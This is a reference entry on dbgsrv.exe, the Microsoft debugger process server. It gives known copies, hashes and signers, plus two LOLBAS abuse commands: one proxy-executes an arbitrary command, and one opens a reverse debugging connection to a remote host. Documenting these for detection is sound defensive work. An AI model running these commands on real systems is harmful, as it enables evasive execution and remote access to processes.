Identifier / Programs / Windows
dbgsrv.exe
Microsoft User-Mode Debugger Process Server file version info (xCyclopedia)
LOLBAS Execute 1 ATT&CK technique 2 documented commands 4 known copies with hashes
How dbgsrv.exe is abused
Execute T1127 Trusted Developer Utilities Proxy Execution
-tEach abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for dbgsrv.exe.
2 documented commands
Execute T1127 Trusted Developer Utilities Proxy Execution User privileges
Creates a process server and launches the specified command using the DbgSrv.exe -c option.
dbgsrv.exe -t tcp:port=5005 -c {CMD}IdentifyExecute T1127 Trusted Developer Utilities Proxy Execution User privileges
Establishes an outbound reverse connection from the DbgSrv process server to a remote debugging client using the clicon option. A connected debugging client can subsequently interact with processes through the remote debugging session.
dbgsrv.exe -t tcp:clicon={HOST},port={PORT}IdentifyNone of the 2 commands the identifier reads trips a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for dbgsrv.exe, by Phyo Paing Htun, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for dbgsrv.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.
What detects it
Is it the real dbgsrv.exe?
C:\Program Files (x86)\Windows Kits\10\Debuggers\arm64\C:\Program Files (x86)\Windows Kits\10\Debuggers\arm\C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\4 known copies
10.0.19041.1 (WinBuild.160101.0800) · C:\Program Files (x86)\Windows Kits\10\Debuggers\arm64\dbgsrv.exe · signed by Microsoft Windows Kits Publisher
19a65f0410b9b2cb0d4f7692b7e6f8eca5f4522bab21fd29e66ef5758d3f79a410.0.19041.1 (WinBuild.160101.0800) · C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\dbgsrv.exe · signed by Microsoft Corporation
2f6d63d7ad166230cfb4565efac54275d263bf0dee504bad412da6013de1a0ee10.0.19041.1 (WinBuild.160101.0800) · C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\dbgsrv.exe · signed by Microsoft Corporation
afb9fbcf0ebb2789bc0b59cfdfab144b5df8ff1fced15d472a9c4dc506146e3810.0.19041.1 (WinBuild.160101.0800) · C:\Program Files (x86)\Windows Kits\10\Debuggers\arm\dbgsrv.exe · signed by Microsoft Windows Kits Publisher
f90b52c72d64100d2112b88ec0ae74516624c374c32a8f9fb1eaf92eda593c16From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.